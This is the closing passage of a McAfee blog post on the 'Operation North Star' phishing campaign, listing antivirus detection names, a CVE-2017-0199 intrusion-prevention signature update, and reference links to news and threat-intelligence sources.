  • Trojan-FRVP!CEE70135CBB1
  • W97M/Downloader.cxu
  • Trojan-FRVP!63178C414AF9
  • Exploit-cve2017-0199.ch
  • Trojan-FRVP!AF83AD63D2E3
  • RDN/Generic Downloader.x
  • W97M/Downloader.bjp
  • W97M/MacroLess.y

NSP customers will have new signatures added to the “HTTP: Microsoft Office OLE Arbitrary Code Execution Vulnerability (CVE-2017-0199)” attack name. The updated attack is part of our latest NSP sigset release: sigset 10.8.11.9 released on 28th July 2020.The KB details can be found here: KB55446

[1] https://www.bbc.co.uk/news/business-53026175

[2] https://www.welivesecurity.com/2020/06/17/operation-interception-aerospace-military-companies-cyberspies/

[3] https://www.justice.gov/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and

[4] https://www.justice.gov/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and

5 https://www.us-cert.gov/northkorea

[5] https://www.virustotal.com/gui/file/4a08c391f91cc72de7a78b5fd5e7f74adfecd77075e191685311fa598e07d806/detection – Gamaredon Group

[6] https://docs.microsoft.com/en-us/openspecs/office_standards/ms-docx/550efe71-4f40-4438-ac89-23ec1c1d2182

[7] https://www.welivesecurity.com/2020/06/17/operation-interception-aerospace-military-companies-cyberspies/

[8] https://otx.alienvault.com/pulse/5e8619b52e480b485e58259a

The post Operation (노스 스타) North Star A Job Offer That’s Too Good to be True? appeared first on McAfee Blogs.

❌